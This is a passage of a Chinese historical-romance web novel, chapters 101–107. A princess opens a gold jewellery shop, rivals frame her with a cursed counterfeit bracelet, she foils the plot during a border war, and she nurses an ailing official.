乔楹月让红豆倒茶,见她‘咕嘟咕嘟’牛饮一杯,这才开口。 “案子是什么情况?” 这桩命案正好落到了姬南萱手中,她处理完手头的事儿便来向乔楹月汇报了。 “死者是个五十多岁的男人,应该是最近才来盛京,姓名和身世无人知晓。 依照目前的推测,凶手很有可能是鸿发金铺的老板,老板是个二十多岁的男人,名叫鸿发,感觉不像真名。 鸿发杀人后潜逃,至今不见踪影,他平时都是戴着面具示人,没人知道他的真容。 不过兵马司已经画了画像,只要有相似者出城,会立刻抓回去审问。” 这种事儿最终是兵马司的任务,她这个公主管不了。 当晚,何掌柜便将铺面以先前四成的价格租了下来,同时连大师也找了好了。 次日清晨,何掌柜戴着大师去铺子中做法。 法事连做七日,凶事就此消散。 这桩凶案被兵马司压着,坊间无人知晓,因此凶案对铺面没有任何影响。 在大师做法的这七日里,乔楹月窝在府上将前世见过的好看的花样子全都画了下来。 如今就只缺信任的金匠了。 金匠必须用自己人。 乔楹月决定重金聘请。 张贴的告示一出,便有许多金匠上门来应聘。 有何掌柜坐镇,乔楹月依旧亲自出面挑选金匠。 应聘的金匠应何掌柜的要求现场打金。 最终一位打扮利落的女子脱颖而出。 乔楹月让其他的应聘者离开,走到这女子面前询问她的名字。 女子硬朗的面庞上露出腼腆的笑意,“民女姓终,名斩玉。” 乔楹月打量此女,越看越觉得此女模样漂亮,是那种结合独特气质, 足够反复推敲的漂亮。 她对这个金匠很满意。 “这是聘书,此刻开始你便是这金铺的金匠。每月给你二两的月例,生意好有红利,每月可休沐两日。” 终斩玉欣喜的伸出双手,接过了聘书。 第一百零二章商人权氏 “公主,权老板是大周最大的黄金商,他手底下有好几处金矿,此人必须拉拢。 小的建议公主设宴宴请权老板,拉近些关系。” 公主府的小厅中,叶掌柜一脸诚恳的站在乔楹月面前。 乔楹月想到自己让出的三成利润,心情忽然好受了些。 若非沈砚也能从中得力,他的人肯定不会这么卖力。 “何掌柜和权老板可相熟?” 何掌柜恭敬回道:“这些年来,都是小的和权老板的人接洽。” 顿了顿他又补充:“往常都是权老板的管事送货,此番是权老板亲自压阵,小的有心帮忙招待,但身份不够,唯恐怠慢了对方。” 乔楹月就大致明白了局势。 世上的任何东西,当它大到一定的规模,便会叫人敬畏。 权老板虽然是商人,生意却涉及周边好几个国。 也就意味着,他在这些国家之中都能拥有一席之地。 这样的人即便不与他做生意,也必须搞好关系。 为了明日不出什么麻烦,乔楹月仔细询问了权老板的家中情况。 这位权老板全名权世衡,如今四十五岁,众多子女之中,最小的儿子最有做生意的头脑,为了培养这个儿子,权世衡便常年将他带在身边。 乔楹月让何掌柜在中间交涉,将权世衡邀至金樽居赴宴。 沈砚也被她邀请在列。 宴席时间就定在次日晚上。 次日时辰差不多时,沈砚率先来到公主府,他坐在马车之中,见乔楹月的马车出发后,便吩咐车夫跟上。 金樽居。 雅间之中,四十多岁的权世衡没有半点中男人的发福,身材修长,不胖不瘦,穿着身深蓝色锦袍,配饰低调。 坐在他身边的少年容貌与他七分相似,五官深邃俊美,从这少年的脸上大抵能瞧见权世衡年轻时的模样。 这个少年便是权世衡最小的儿子,名叫权晏舟,如今刚刚二十。 他跟着父亲走遍大江南北,见过美人儿无数,眼光极高,也正是因此,二十的年纪还未成亲。 权世衡家中子女众多,小儿子不愿成亲他虽有苦恼,却也并未过多逼迫,即便这个幺儿一辈子不成亲,他权家也不缺后代。 雅间的门大敞着,只听得一阵轻巧而繁杂的脚步声,一股威严之气从门外吹了进来。 父子俩立即站起来整理衣襟。 便见门外当先进入的是一道高贵且明媚的身影。 父子俩定睛一瞧,是个美丽的少女,身上穿的是千金难求的天蚕丝,缎面轻薄柔软,在灯光下流光溢彩。 可这衣裳溢出的光彩,却远不及少女眼底的光华耀眼。 权晏舟眼底露出惊艳之色。 这位怀宁公主是他平生见过最美的女子。 在权晏舟发怔时,权世衡悄悄在桌子底下踢他小腿,并恭敬的朝着少女行礼。 “小人拜见怀宁公主!” 权晏舟这才发现自己失态了,立刻同父亲一样行礼。 “小人拜见怀宁公主!” 乔楹月温和的走上前,将两人虚虚一扶,“权老板免礼,权公子也免礼。” 声音甜美,语气透着从容。 只是听到声音就能感觉眼前的少女是个知礼稳重的人。 权晏舟站直身子,快速觑一眼眼前的少女,心跳莫名加快。 可对方的目光除了礼貌的扫过,再没有任何多余的关注。 加速的心跳不自觉沉下去。 权晏舟暗暗想到自己来之前对这位公主的了解。 任性妄为,荒淫无度,草包纨绔。 名声烂到极致。 为何传言和眼前的人相差这么大? “晏舟!” 父亲的低喝犹如惊雷,将权晏舟飘远的思绪拉回来,他发现自己又走神了,而且是盯着公主的脸走神。 实在失礼! “沈大人在此,你还不快快行礼!” 权晏舟这才发现,少女身边还站着沈砚。 在大周,他是万千少女梦寐以求的男人,这会儿站在公主的身边,他们犹如一对金童玉女。 心头说不上来的不得劲,他压下这种失控的情绪,恭敬的朝沈砚行礼。 “小的见过沈大人!” 沈砚的目光扫过他的脸,眼底缓缓浮现兴味,“权公子免礼。” 席间,擅长交际的权晏舟难得的寡言起来,眼睛时不时打量对面那对‘金童玉女’。 坊间还有传言,说怀宁公主色心大发,强行要了沈砚做面首。 先前他只当这是沈砚的政敌故意抹黑他。 可现在。 沈砚坐在乔楹月身边,即便保持着距离,依旧能流露出来不寻常的熟络。 他忽然觉得,那种离谱的谣言,兴许是真的。 看透这一点的瞬间,权晏舟心中发苦。 这顿饭吃下来,权晏舟只觉得形同嚼蜡。 五日后,‘金福来’开张。 乔楹月身为公主,名声虽然差,但她和沈砚关系极近,还有宁烽这个青梅竹马,铁面无私的姬刑远对她另眼相待,那太医院的院正是她的幕僚。 有这些人脉在,想要巴结她的人大有人在。 于是在‘金福来’开张的当日,店中极为热闹。 容府。 春桃将‘金福来’的热闹禀报给容旖纾。 容旖纾听后眼底露出讽刺。 “这些人最多只是开张时捧个场,不出三日,金福来便会门可罗雀。” 三日后,‘金福来’不仅没有门可罗雀,反而越来越红火。 春桃又来禀报。 “听说金福来的首饰十分漂亮,不仅款式新颖,工艺更是精湛,口口相传之下,顾客越来越多。” 容旖纾听后心像被刀子割,难受得要死。 谁都可以好,唯独乔楹月不行! 思前想后,容旖纾吩咐春桃。 “你去权府帮我递个消息。” 权世衡的宅子遍布各个国家,盛京城内也有他的宅院。 春桃将消息递进权府,送到了权晏舟的手中。 当晚,金樽居。 容旖纾和权晏舟相对而坐,楚楚可怜的脸上透着凄苦之色。 权晏舟十分欣赏容旖纾的品性,此番见她难过,不免开口询问。 “容小姐有何烦心事?” 容旖纾垂着眉眼,一滴清泪缓缓从脸颊滑落。 “小女是为好友的遭遇难过,权公子可知道颜倾柔?” “那位被夺了封号,险些流落街头的护国长公主?” 容旖纾点头,“她是被怀宁公主所害,这位怀宁公主极其会玩弄男人的心,就连沈大人都被她蛊惑。” 第一百零三章捷报败书 听出容旖纾的话音,权晏舟心中一惊。 “容小姐的意思是,颜倾柔落得如今的下场,是沈砚出手导致?” 容旖纾抹着眼泪点头。 权晏舟不常待在大周,这盛京城内的许多事儿都是靠打听,眼下容旖纾的话对他而言十分可靠。 毕竟,容旖纾品质高洁,不可能说谎。 他不禁想到前几日的晚宴,乔楹月对他不屑一顾,却拿捏了他的心,沈砚看似冷淡,却在关于乔楹月的一切事儿上都显得格外上心。 如此可见,容旖纾的话千真万确。 哼,难怪他会对这位公主一见钟情,原来是中了她的蛊惑。 还好被容小姐提点,否则连他也要成为她的棋子。 眼见权晏舟的脸上生出厌恶之色,容旖纾心中一喜,立即趁热打铁。 “如今这朝中,权臣沈砚,将军宁烽,太医院院正宋鹤柳,全都是她的面首,她靠着面首掌权作恶,倘若再让她的生意形成规模,怕是这大周的普通百姓都会遭到她的毒手。” 容旖纾的脸上透着忧国忧民的惆怅,楚楚可怜的表情让人想要保护。 权晏舟沉声说道:“她的生意,形不成规模。” 次日清晨,权晏舟吩咐手下去‘金福来’买下了最新款的黄金手镯。 这手镯用了最新的工艺,镶嵌着昂贵的宝石,光华流转,别说女子,便是男子都挪不开眼。 权晏舟命人打造了一个一模一样的,他带着这个假货去了赵府。 赵氏是皇太后的母族,权晏舟将这手镯献上以后,赵迁儒乐颠颠的进宫,将之献给了自己的姐姐,赵皇太后。 在这件事儿发生期间,边疆的战事吃紧,宁烽自荐前往边疆保家卫国。 他离京这日阳光普照,却落着绵绵细雨。 乔楹月撑着伞站在路边,朝他挥手。 宁烽看着人群中的少女,心中一阵不舍,想到此去或许会埋尸战场,他便心中不安。 “沈大人,”他扭头看向身侧并肩骑马的男人,“若我回不来,请你照顾好公主。” 沈砚目视前方,闻言淡淡道:“本官自会照顾公主,而你,必须回来。” 宁烽笑了,年轻的脸上满是真诚,“小爷我一定会回来!” 军队到达城门下,沈砚的马儿驻足,而宁烽一声厉呵,马儿从城门下狂奔而出。 身后的将士们整齐划一的跟随着,整齐的步伐震得地面都在颤抖。 皇宫,永寿宫。 赵皇太后跪在佛堂之中,手握佛珠,虔诚的为大周的胜利祈祷着。 每当大周遇到紧要战事,赵皇太后都会进入佛堂诵经祈祷。 每日几乎诵经七个时辰,为期一月。 往些年祈祷结束时,必有捷报传来。 于是皇帝也逐渐重视赵皇太后的祈祷,甚至下令,此月之内盛京城内不许饮酒吃肉,违者斩立决。 在此气氛之下,民间也自发诵经为大周的将士祈福。 于是在宁烽离开后,盛京城内几乎家家户户响起诵经声。 打仗靠的是将士的勇猛,将领的聪睿,国家的粮草。 乔楹月觉得诵经没什么用,但却明白百姓们的心情。 无论战争输赢,苦的都是百姓,百姓祈祷的是战争早日结束,儿子平安归来,一家得以团聚。 乔楹月换了素衣,每日也会去佛堂诵经。 在这诵经声中,气氛宁静了下来,但‘金福来’的热闹却并未停歇。 一月之期将之时,乔楹月收到了宁烽从边疆递来的信,心中是大好的消息。 击退东陵大军,即日便能启程回盛京。 太好了! 便在这时,乔景琰派谢烬弦前来,请乔楹月进宫。 乔楹月猜到皇兄是为了胜仗的事儿高兴,便特意换下素衣,打扮一新的前往皇宫。 谢烬弦的表情异常的冷,将她径直领到了赵皇太后的永寿宫。 “皇上和皇太后在小厅等候公主。” 乔楹月看着眼前的宫殿,深深皱眉。 赵皇太后并非乔景琰的生母,她膝下无子,在先帝去世前两年,将乔景琰养在了膝下,撞大运成了皇太后。 而乔景琰继位也有说法。 乔楹月的母亲阮贵太妃宠冠后宫,本该是最有机会晋升皇后的女人,却年纪轻轻薨逝。 先帝因为思念阮贵太妃,便对与她模样六分相似的乔楹月格外宠爱。 乔景琰的母妃只是个宫女,生他时难产死去,乔景琰独自在宫中长大,无权无势,本是最没有希望继承皇位的皇子。 他和乔楹月的兄妹情十分深,在他继位后盛京便有传言,称,先帝是看在这份兄弟情,才将皇位传给了这个未曾过多在意的儿子。 至于乔楹月和赵皇太后的关系。 赵皇太后年轻时和阮贵太妃争宠,争输了,一直对阮贵太妃怀恨在心。 如今阮贵太妃死了这份恨意也未曾消失,反而全部转嫁到了她唯一的女儿身上。 乔景琰知道乔楹月和赵皇太后的关系不和睦,因此极少让两人碰面。 如今乔景琰主动将乔楹月待到永寿殿,聪明的她立刻从中嗅到了不寻常。 再想到谢烬弦眉眼间的冷意,她猜测其中的事儿应该不小。 揣着疑惑走入小厅,便见主位上坐着两人。 左边是明黄加身的乔景琰,右边是雍容华贵的赵皇太后。 乔楹月从外面走进来,衣着华丽的晃眼,乔景琰冰冷的脸上露出恼怒。 而赵皇太后那张妆容精致的脸上则是深深的痛恨。 乔楹月低头朝二人行礼。 “皇兄有礼,母后有礼。” 赵皇太后似是忍无可忍,顾不上礼仪,抢在乔景琰开口之前,朝着乔楹月发难。 “你要是有礼大周岂会遭遇这般不幸!!!” 乔楹月面色冷淡下去,“母妃将话讲明白。” 赵皇太后正要说话,乔景琰冷声打断。 “母后,容儿臣来说。” 看见他护着乔楹月,赵皇太后忍着气闭嘴。 乔景琰沉声开口:“母后祈福时佛珠断裂,紧接着边疆便传来败书,卞城即将失守。 从前母后的祈福从未出过乱子,因事出蹊跷,母后彻查永寿宫,发现问题出在母后手腕上的镯子上。 母后的金镯子中竟然藏着一张咒符,如今出现的所有事儿,全都是因为这张咒符。 怀宁,这镯子,是你的金铺出来的,这事儿,你知道多少?” 第一百零四章将计就计 弄清楚了事情的来龙去脉,乔楹月心中的疑惑却更浓了。 明明她刚收到宁烽送来的捷报,为何皇兄却说前方传来了败书? 如今局势不明,若将捷报之事说出,定会被皇兄怀疑她和前线将士勾结,引来更大的麻烦。 必须现将眼前的事儿解决。 念及此,乔楹月对乔景琰说道: “这件事儿怀宁全然不知,怀宁要看看那只金镯子。” “哼,反正都是你的手段,你既要看,那便让你装个够!” 赵皇太后态度激烈,直接将一个被剪断的镯子丢了过来。 镯子擦着乔楹月的裙摆,落在脚边,滚了两下后才落地。 乔楹月高贵的站在原地,没有弯腰去捡的意思。 赵皇太后看了一眼乔景琰的脸色,这才吩咐自己的宫女。 “点翠,将镯子递给怀宁公主!” “是。” 点翠小步上前,捡起镯子,用袖子仔细擦了几下,恭敬的捧到乔楹月的面前。 “公主,镯子在这儿。” 乔楹月冰冷的看了赵皇太后一眼。 “事情没有定论之前,母妃说话可要注意分寸。” 虽然这镯子是‘金福来’购买,但这中间过了很多遍手,谁也没证据证明问题出在哪个人身上。 一开始就将话说死了,若真相并非如此,只会打自己的脸。 赵皇太后怎会不知这个道理,只是因为往日的成见便认定了自己认定的事实。 这会儿她看见乔楹月‘不驯’的态度,觉得她是死鸭子嘴硬。 那败书本该只有皇上知道,如今却整个盛京都知道了,明显其中有人从中捣乱,故意搅乱大周的人心。 此举往大了说,是内奸通敌,这是抄家灭门的死罪。 倘若真是乔楹月所为,那她这条命都不够死的。 皇上再如何宠她,也绝对不会在这种大事儿上姑息。 眼下且让她狂,等会儿查出真相,她要亲手处决这个小畜生! 心头诸多念头闪过,赵皇太后强行忍下怒火,冷声说道:“是哀家说话过了几分。” “既然母后知道自己错了,儿臣便也不计较,”乔楹月缓慢的收回目光,慵懒的抬手接了镯子。 她捏着镯子查看镯子内圈,只见内圈之中有着三个小字,正是金店名字,金福来。 她将镯子放回桌上,认真对乔景琰说道:“这个镯子的样式确实和臣妹铺子之中的一模一样,但内圈之中的刻印却有很大差别。 首先是金福来三个字,字体有差别,另外是这三个字的大小,比真货的要大了近一倍。 这刻印是臣妹那金匠一人研发,如今还无人能仿冒得出来。” 乔景琰皱眉:“你的意思是,有人故意仿冒你铺子里头的金饰样式,意图对你栽赃陷害?” “是。” “简直是胡扯!”赵皇太后没想到乔景琰竞对乔楹月的鬼话这么信任,立刻激动起来,“她肯定是故意将刻印做得不一样,以此来洗清自己的嫌疑!” “确实有这个可能。” 点头附和的并非乔景琰,而是身为嫌疑人的乔楹月。 乔景琰被她的态度弄的头痛,沉声说道:“别绕弯子!” 乔楹月直说:“背后人这一招很高明,不仅能离间皇兄和臣妹的兄妹情,还煽动了百姓的情绪。 届时臣妹被冠上通敌卖国的罪名而处死,朝廷之中也会陷入疑神疑鬼的动荡,此人再暗中将此事传到奋战的士兵耳中。 如此,那东陵将士便能轻而易举的击杀我方将士。 这是个兵不血刃的阳谋。” 此言让乔景琰的后背冒出冷汗。 就连对乔楹月有偏见的赵皇太后都认真起来。 乔楹月继续往下说:“只要皇兄不中计,这个计谋便自会失败,眼下追责是其次,应对此事才是紧要。” 听出来乔楹月话中有话,乔景琰眸色亮了几分:“怀宁可是有应对之法?” 乔楹月点头:“只要皇兄相信臣妹,臣妹便能力挽狂澜。” “朕自然信你!” 乔楹月又看向赵皇太后:“母后可信?” 赵皇太后憋屈的点头:“哀家也信!” 乔楹月便缓缓说出了自己的计策。 “便将计就计,便说这镯子是父皇托梦送到身边的宝贝,只需将镯子供奉七日,大周自会反败为胜。” 乔景琰脸色不容乐观:“倘若七日之后无法反败为胜,百姓定会更加失望。” 乔楹月笑道:“七日之后自有另外的法子。” 兵来将挡水来土掩,瞻前顾后不是办法,过关斩将才是正道。 赵皇太后觉得眼前的少女似乎和以前有些不同了,性子变得沉稳了,脑子变得灵光了。 这对她而言可不是个好消息。 她身为大周的皇太后,与大周荣辱一体,眼下这小畜生的法子确实可行。 仇恨可暂先放在一边,先帮大周度过眼前的难关要紧。 于是赵皇太后展现了身为国母的风度。 “这可法子哀家觉得可行,不如试试。” 乔景琰点了头。 于是先帝托梦,手镯乃吉祥之物的事儿传遍了盛京。 百姓们听后精神一震。 反而是朝臣们暗中嘀咕。 想到乔楹月往日的‘劣迹’他们认定乔景琰是被这个妹妹蛊惑,做了一个错误的决定。 七日后前方一旦传不回来捷报,人心就彻底散了。 大周的国力本就不强,东陵兵强马壮,常年主动进攻,意图占领大周的国土。 人心一旦散了,大周的气数也就尽了。 都说女人祸国殃民,如今他们是亲眼见证了! 在这片唉声叹气之中,唯有沈砚一如从前的镇定。 文墨甲当天就去公主府见了乔楹月,得知了事情的经过,虽然对这‘先帝托梦’的法子不乐观,但却明白,当时的局面,乔楹月应对的极好。 他知道乔楹月有脑子,便也不担心了。 盛京城的气氛陷入了两个极端,百姓极端的乐观,朝臣们极端的悲观。 时间在这种煎熬的气氛中流逝,第七日到了。 这日乔景琰依旧稳重的看奏章,只是偶尔的走神出卖了他的紧张。 赵皇太后早早进入佛堂诵经,祈求着捷报传来。 眼看太阳西沉,两人的心也渐渐跟着沉了下去。 便在太阳快要完全落山时,一骑快马冲入了皇宫。 乔景琰颤抖着手打开捷报,顿时狂喜。 “大周,反败为胜!” 第一百零五章风向转变 大周击退东陵的消息很快在盛京城内蔓延,百姓们欢呼雀跃,朝臣们变脸也很快。 前一日还在轮番状告乔楹月误国。 今日就—— “微臣早就看出怀宁公主有神算之才!” “怀宁公主是皇上的妹妹,有其兄必有其妹,都是皇上教导的好!” “怀宁公主是大周女子的楷模!” …… 沈砚看着这些善变的嘴脸,满眼讽刺。 这时一个大臣话锋一转。 “怀宁公主已年十八,微臣那犬子才高八斗英俊神武,微臣代犬子求娶公主!” 这个头一开,立刻有人跟风。 “犬子不仅才高八斗英俊神武,性子还格外的贤惠,将来定能好好辅佐公主!” “皇上!犬子……” …… 眨眼之间,朝堂之上全是求娶只声。 沈砚的脸色黑了下去。 最终乔景琰并未答应这些求娶。 沈砚松了一口气。 退朝后,沈渊走在儿子身边,威严的目光落在儿子身上,深深叹息一声。 公主府。 姬南萱兴奋的问乔楹月:“公主怎能算到大周反败为胜?” 乔楹月自然算不到,前世的这个时间也没有这场战争,更是无从参考。 但她信任宁烽,他虽然有些不靠谱,但绝对不是信口开河之人。 远在边疆的军队肯定是打了胜仗。 至于为何他的捷报跟朝廷的败书前后脚送来,其中定有隐情,不过不管怎样,这胜仗的消息,肯定不会隐瞒太久。 七日,应该正好。 果然,七日一到,捷报便传了回来。 军队班师回朝还需要月余,只有宁烽回来后才能弄清楚其中发生了什么。 在这之前,宁烽私自传信的事儿不能大肆宣扬。 姬南萱虽然不会出去乱说,但秘密是越少人知道越安全。 乔楹月寻了借口打发了姬南萱,姬南萱性子简单,并未多想,转而说起了‘金福来’。 “先帝从天上送回来的吉祥物和金福来里头的一款手镯一模一样,百姓都将那款式的图案奉为吉祥图,纷纷前往金福来买镯子。 可惜,那些高门大户的女人太能抢了,金福来的吉祥镯都被抢空了。 公主能不能帮我走后门,下次做出来的提前卖我一个,我要送给尚曀,祝他金榜题名。” 乔楹月哭笑不得:“秋闱都结束了,你这礼物也送太迟了吧?” 姬南萱道:“后日才放榜,一点儿也不迟!” 乔楹月答应下来:“镯子本宫送你。” 姬南萱大方收下。 容府。 “听说金福来不仅没有随意涨价,甚至价格比从前还低了几分,如此更是得了许多顾客的心。 不过店铺很狡猾,又另外出了好几个新样式。 这些样式的价钱比之前贵了好几倍,那些顾客竟也毫无怨言,不仅买了,还预定出去一个月的单子。 如此下去,金福来当真会日进斗金,挣个盆满钵满。” 听完春桃的禀报,容旖纾的心跟火上煎似的,她吩咐春桃。 “你去一趟权府!” 金樽居。 熏香袅袅的雅间中,容旖纾一脸愁苦。 “乔楹月当真有祸国手段,竟能将黑的全说成白的,连皇上也被他蛊惑,我太为大周的未来担忧了。” 权晏舟坐在对面,闻言冷着脸端起一杯茶,心中对乔楹月的卑鄙有了新的认知。 这金镯之计是为了赌前线吃败仗,只要有败仗,他便收买宫女内侍弄断皇太后的佛珠,如此乔楹月自会迎来麻烦。 没想到她竟使了一招‘先帝托梦’,更没想到的是,边疆竟真在七日内传回来捷报,更憋屈的是,她将计就计,让‘金福来’成为了盛京城内最有名的金铺。 如此到像是他帮了她一把。 这个草包公主真如容小姐所说那般虚伪,极有心机和城府。 容旖纾琢磨着权晏舟的脸色说道:“如今她有了时间和精力,肯定会寻找金镯藏咒符的真相。 依照她的毒辣,若是查到是我们出手,定会将我卖到青楼去,也定不会放过权公子。 权公子,都是我害了你,我想好了,出了金樽居我便去她面前坦白一切,我会说一切都是我做的。 权公子放心,这件事儿是因我而起,我容旖纾绝对不会让权公子牵扯其中!” 容旖纾为自己倒了一杯酒,一脸悲壮的喝下,起身便要走。 “容小姐且慢!”权晏舟着急的站了起来,“在下还有一计。” 容旖纾转过身来,挂满泪水的小脸上充满了惊喜。 权晏舟心中生出成就感,缓缓说道:“金福来开张之前出过一桩命案,至今那杀人凶手都在潜逃,若是此时被人知道,金福来的生意肯定会黄。” 容旖纾震惊的睁大小鹿般湿漉漉的眼睛:“没想到乔楹月竟暗中隐瞒了这么大一桩事,死了人的地方她都能毫无芥蒂的做生意,我对她的人品实在无法苟同!” 她重新坐下来,脸上露出可惜之色。 “若大家知道金福来不仅不吉祥,反而是凶杀之地,弄不好回闹着退货,到时候够乔楹月喝一壶的。” 权点头:“这是她的报应。” 容旖纾一脸依赖的望着权晏舟:“小女常年待在内宅之中,没什么见识和手腕,敢问权公子,我们接下来应该怎么做呢?” 男人在女人的崇拜和依赖面前毫无抵抗力。 容旖纾这番模样让权晏舟觉得自己是世上最厉害的男子,他的虚荣心得到极大的满足。 看着容旖纾乖巧的脸,他很想伸手在她鼻子上宠溺的刮一下,却碍于礼教,忍住了冲动。 只道:“无需做什么,只需将这件事传出去,让外人知晓便可。” 容旖纾恍然大悟的点头:“届时事情会自行发酵,我们不费吹灰便让乔楹月栽了跟头! 权公子好厉害,这样的法子小女便是想破头都想不出。” 这顶高帽子让权晏舟那颗还未经历太多世事,那颗略显稚嫩的心十分受用。 权晏舟回到权府,便从父亲口中得知他要设宴款待乔楹月的事儿。 他问了一番原因,权世衡说道:“这位怀宁公主是个奇女子,和这样的人做生意,会有数不尽的银子进口袋,当然要将人哄好。” 随后权世衡沉声叮嘱。 “公主身份高贵,你切莫再像上次那般失礼。” 听到‘公主身份高贵’几个字时,权晏舟的心莫名被针扎了一下。 第一百零六章自卑之心 金樽居。 权晏舟的目光落在沈砚身上。 只见男人如上次一样,和少女保持着礼节的距离,但身子却自然的朝着少女这方侧着,偶尔会不经意的为少女夹菜,甚至少女一个小动作,他便能提前为她拿来她想要的东西。 这样的心有灵犀,是有了极为亲近的事儿后才能契合出来。 沈砚当真是公主的面首吗? 想到那样的画面,权晏舟的心绪忽然乱了。 耳听父亲夸赞乔楹月有头脑有胆识,他没经过脑子的蹦出一句。 “仗是将士们用血拼杀出来的,没想到最终赢家竟是怀宁公主,如今这金福来挣了个盆满钵满,不知前方的将士知道此事后会是何感想。” 此话充满挑衅。 桌上的热闹荡然无存。 乔楹月并未生气,而是挑起黛眉隔着桌子淡淡的看了他一眼。 沈砚也未说话,他单手搁在桌面上,看向权晏舟的目光透着冷。 权世衡像是椅子烫屁股一样,当即站起来,朝着儿子脸上一个巴掌。 “混账东西!喝了两滴马尿就敢在公主和沈大人面前放肆,老子今日打死你!” 闯南走北的权世衡极其会看局势,也极其会做人。 怀宁公主的表情像是并未将儿子的蠢话当回事,但她身边的沈砚眼底却有杀意。 确实,生意到了一定高度会得到普通商人得不到的尊重。 可说到底他们还是商人。 一旦惹得这些达官贵人不高兴,便是吃不了兜着走! 今日他不打这一巴掌,儿子的脑袋迟早掉在这大周的土地上。 权晏舟昏掉的脑子被这一巴掌打醒,立刻站起身朝乔楹月赔罪。 “小人一时糊涂,望公主原谅!” 乔楹月并未立刻开口。 过于好说话,就等于好欺负。 她不将权晏舟的蠢放在心上,但她必须让他知道,她不是个好惹的主。 果然,在她沉默的片刻中,权晏舟的额头隐隐冒出了冷汗。 这会儿权世衡才深深的明白,皇族不愧是皇族,眼前这位公主才十八岁,身上的威严却叫他这个半截身子入土的人胆寒。 在权晏舟的冷汗越来越密时,乔楹月弯唇笑了。 前一刻还充满凌冽寒意的脸庞,下一瞬青春明媚起来。 “权公子不必害怕,本宫并非气量狭小之人,一件小事儿而已,本宫不会放在心上。” 得了这恕罪之言,权晏舟却不敢坐下去。 因为还有另外一道目光,比之乔楹月的更为恐怖。 他小心抬眼觑对面那坐姿随意的男人,开口竟忍不住结巴。 “沈,沈大人,小的一时糊涂,说了混账话,小的知错,求沈大人饶恕!” 沈砚的手轻轻敲击桌面,目光细细打量他的脸,脸上带着温和的笑意。 “公主都不生气,本官自不会生气,再说了,权公子是童言无忌,本官不会怪罪。” 二十岁的男人,说什么童言无忌。 是讽刺他脑子简单如孩童。 这会儿权晏舟顾不上羞辱不羞辱,他只想快点结束这场宴。 宴会结束后,权晏舟又被权世衡狠狠骂了一通。 最后还警告他。 “你跟在我身边已有两年,性子却越来越轻浮,往后若继续如此,这权家家主的位置,你别想!” 如今已是腊月,天气越来越冷。 次日,乔楹月得到消息,金科状元是尚曀。 姬南萱肯定已经知道了这个消息,这会儿肯定高兴极了。 若是不去在意尚曀那不懂事的母亲,这尚曀和姬南萱是真的般配。 随后乔楹月算了算军队班师回朝的日子,春节前应该能回来。 两日后,沈匆忽然上门,脸上带着焦急。 “公主,我家大人得了风寒,已在宅子里头昏睡了两日,还请公主上门瞧一瞧。” 乔楹月心道:得了风寒赵大夫去,她又不会医术,去了能做什么? 但腹诽是腹诽,行动却半点不敢迟疑。 不一会儿到了城东沈砚的宅子里头。 乔楹月走近内室,便见昏暗的屋子里光线昏暗,床榻上被子臃肿,只有一个脑袋露出来。 她走上前,便见沈砚闭眼昏睡,脸颊通红,跟打了腮红一般。 伸手往他头上一探。 烫手! 她回头问跟进来的沈匆。 “回公主,前日就请了大夫,大夫开了药方,可大人……他怕苦,不肯喝。” 沈匆实在有些难以启齿。 他家大人自小早熟,外人瞧着是沉稳内敛,可自小跟在大人身边的他却知道,大人生病时比孩童还要难伺候。 为了将药喂下去,沈匆本打算回丞相府将丞相夫人请来。 却听大人口中不停呢喃‘公主公主’,他心中一动,便去了公主府。 “公主,这是汤药,求您帮帮忙,喂一喂大人!” 沈匆一脸赖皮样的将一碗汤药送到了乔楹月的面前。 乔楹月从未做过伺候人的活,考虑了一下才结果药碗,学着平时红豆为她喝药的模样,坐在了榻边。 沈匆十分有眼力见,立刻上前,将沈砚的后背垫高,让他的上半身半靠起来。 随后他躬身行礼。 “属下去外面守着!” 不等乔楹月发话,他便退了出去。 顺便还将杵在一边的红豆给拽了出去。 乔楹月端着汤药,小心翼翼舀出一勺,递到了沈砚的唇边。 他的嘴唇紧闭,任由药汁从嘴唇滑落,却没有任何张嘴的意思。 乔楹月试着哄。 “沈砚,喝药了。” 男人的眼皮动了一下,接着昏睡。 “阿砚,喝药喽,乖~” 这次很有用。 沈砚缓缓睁开了眼睛,昏沉的目光落在她脸上。 乔楹月赶紧用勺子碰他的唇。 “阿砚,张嘴,我们把药喝了,药喝了病才能好哦。” 沈砚却深深的蹙起眉,反手将她的手拍开。 勺子中的汤药泼洒在被子上。 乔楹月看着病得稀里糊涂的男人,忍着火重新舀起一勺,吹温后送过去。 “阿砚乖,我们把药喝了。” 不听话的男人终于张开了唇。 只是却不是喝下汤药,而是发出沙哑的声音。 “容旖纾!” 乔楹月一怔,端着碗的手指逐渐发白,她沉声问沈砚:“你看清楚,本宫是谁。” 沈砚没察觉到空气中的火药味,不怕死的重复那三个字。 “容旖纾!” “啪!” 第一百零七章鸣冤老人 当天晚上,沈砚的病好了。 “还是怀宁公主厉害,一来就将汤药给大人喂了下去,若非怀宁公主照料,大人怕是要烧糊涂了!” 沈匆站在面前一脸欢喜。 而坐在餐桌前的沈砚,黑着脸,脸上一个明晃晃的巴掌印。 瞧见自家大人表情不像高兴的样子,沈匆猜到原因,只能宽慰。 “皇上一直派人前来打听大人的病情,得知大人病好后便叮嘱属下转告大人,明日必须上朝。 属下也知道,大人的脸……所以属下帮大人转告宫里前来的太监,说大人的身子还十分虚弱,怕是无法上朝,但……” 但那太监却说,沈大人无需上朝,只需退朝后来去见皇上即可。 所以,大人今日必须顶着巴掌印出门。 沈匆有些同情自家大人,小声的出主意。 “不如,大人往脸上抹上脂粉,盖住这印子。” 是个十足的馊主意。 最终沈砚顶着巴掌印进了天和殿。 乔景琰盯着他的脸静了好一会儿,才开口说话。 “沈大人这是……被怀宁打的?” 乔楹月去过沈砚的府宅探病,这事儿并不是秘密,乔景琰看到那小巧秀气的巴掌,自然想到了这个妹妹身上。 沈砚一本正经的说道:“微臣病糊涂,不小心撞在了公主手掌上。” 好一个不小心,撞到了手掌上。 乔景琰煞有其事的点头,眼神流露几分怜悯:“沈大人下次可要小心些。” 沈砚应下:“微臣会小心的。” 从天和殿出来已近中午,沈砚刚回到自己的宅子,便顿住了身形。 小厅中威严的身影缓缓转身,目光落在他脸上,眉毛紧蹙。 “你这脸是被谁打的?” 沈砚垂下眸子走进进去,淡声说道:“儿子不小心撞的。” “撞的?”沈渊气笑,“撞在别人的巴掌上了?” 沈砚点头:“正是。” 见儿子一副油盐不进的样子,沈渊忽然猜到了什么。 “怀宁公主打你了?” 沈砚认真重复:“是微臣不小心撞上去的。” 